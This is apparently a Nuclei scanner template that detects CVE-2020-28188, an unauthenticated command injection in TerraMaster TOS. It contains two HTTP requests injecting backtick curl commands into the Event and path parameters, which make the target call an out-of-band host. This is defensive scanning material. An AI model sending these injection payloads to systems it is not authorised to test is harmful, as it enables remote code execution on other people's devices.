id: CVE-2020-28188

info:
  name: TerraMaster TOS - Unauthenticated Remote Command Execution
  author: gy741
  severity: critical
  description: TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter.
  remediation: |
    Apply the latest security patch or update provided by TerraMaster to fix the vulnerability.
  reference:
    - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
    - https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html
    - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28188
    - http://packetstormsecurity.com/files/172880/TerraMaster-TOS-4.2.06-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-28188
    cwe-id: CWE-78
    epss-score: 0.97282
    epss-percentile: 0.99781
    cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: terra-master
    product: tos
  tags: packetstorm,cve,cve2020,terramaster,rce,oast,mirai,unauth
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"